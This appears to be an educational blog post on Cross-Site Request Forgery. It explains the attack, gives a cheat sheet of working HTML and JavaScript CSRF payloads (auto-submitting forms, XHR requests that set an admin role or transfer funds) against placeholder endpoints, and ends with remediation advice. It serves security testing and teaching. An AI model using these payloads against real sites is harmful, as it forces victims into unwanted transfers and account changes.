Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data. Since the attacker has no way to see the response to the forged request. With a little help from social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state-changing requests like transferring funds, changing their email address, and allowing access or control to other data. If the victim is an administrative account, CSRF can compromise the entire web application.
How CSRF Works
Via a CSRF attack, the attacker can bypass the authentication process or perform actions with higher privileges. What to do to execute this attack:
- Create the custom payload
- Embed the request into a hyperlink
- Trick the victim into clicking the link which will send your request to the website.
- Forge the request to conduct malicious action
This attack only works if the victim is an authenticated user because when the request is made, the application will check if the cookies of a valid session are available. If the relevant cookies are available, those will need to be sent with the request. If the session is valid and the website approves the sent cookies, CSRF attack becomes successful.
This attack only works if the victim is an authenticated user because when the request is made, the application will check if the cookies of a valid session are available. If the relevant cookies are available, those will need to be sent with the request. If the session is valid and the website approves the sent cookies, the CSRF attack will be successful.
How to Deliver the CSRF Payload
Imagine, an attacker attacks a banking web application. The attacker can send the following URL with a GET request.
http://banking-website.com/transfer-money?amount=3000000
If the attacker gets the victim to click on this URL then the session cookies of the victim will be included. This will allow the CSRF attack to be completed successfully by transferring the amount of money the attacker defines.
The following payload can help the attacker to send the attack payload:
<img src=”http://banking-website.com/transfer-money?amount=3000000" />
If the attacker is sending the payload with a POST request, a payload similar to the following HTML code can be used:
<html>
<body>
<form action="http://vulnerable-website.com/endpoint" method="post">
<input type="hidden" name="Transaction" value="withdraw" />
<input type="hidden" name="Amount" value="3000000" />
<input type="submit" value="Click"/>
</form>
</body>
</html>
What’s the Impact of CSRF?
With CSRF attacks, the impact of the attack depends on the level of permissions that the victim has on the application. As also mentioned above, some of the actions that a CSRF attack can cause are given below:
- Changing victim’s password
- Allowing monetary transaction on behalf of the victim
- Changing/Adding/Deleting actions available on the website
Cheatsheet
Roadmap
When you are testing for CSRF vulnerability, I suggest checking the following roadmap:
Payloads
Some payloads that can be used during CSRF attacks can be found below:asdf
--------------------------------------------------------------------
HTML GET:
<a href=”http://vulnerable/endpoint?parameter=CSRFd">Click</a>
--------------------------------------------------------------------
HTML GET (no interaction):
<img src=”http://vulnerable/endpoint?parameter=CSRFd">
--------------------------------------------------------------------
HTML POST:
<form action="http://vulnerable/endpoint" method="POST">
<input name="parameter" type="hidden" value="CSRFd" />
<input type="submit" value="Submit Request" />
</form>
--------------------------------------------------------------------
HTML POST (no interaction):
<form id="autosubmit" action="http://vulnerable/endpoint" method="POST">
<input name="parameter" type="hidden" value="CSRFd" />
<input type="submit" value="Submit Request" />
</form>
<script>
document.getElementById("autosubmit").submit();
</script>
--------------------------------------------------------------------
JSON GET:
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://vulnerable/endpoint");
xhr.send();
</script>
--------------------------------------------------------------------
JSON POST:
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://vulnerable/endpoint");
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.send('{"role":admin}');
</script>
--------------------------------------------------------------------
Automation
To automatically create CSRF payloads, you can use Burp Pro’s CSRF tool by going to the “Engagement tools” options with a right-click on the request and then click “Generate CSRF PoC”.
Remediation
The most popular prevention method is adding an Anti-CSRF Token which will be associated with a particular user to prevent CSRF attacks. Another known prevention method is adding Same-Site flag to Cookies which will check if the origin of the request sender is the same as the Cookie owner. The following suggestions can be listed as Suggestions for CSRF attacks.
- Use CSRF token in HTTP header and match its value on server side.
- Do not use GET HTTP method for critical operations such as Create/Update/Delete
- Implement “Same-site” Attribute to cookies.
For more information, please check the OWASP cheat sheet.
Looking for more insights on how to exploit CSRF? Check out the latest Hacking How-To episode, Cross-Site Request Forgery (CSRF) All-In-One. In this session, I look into how to exploit Cross-Site Request Forgery (CSRF) vulnerability using different scenarios from Portswigger and HacktheBox.
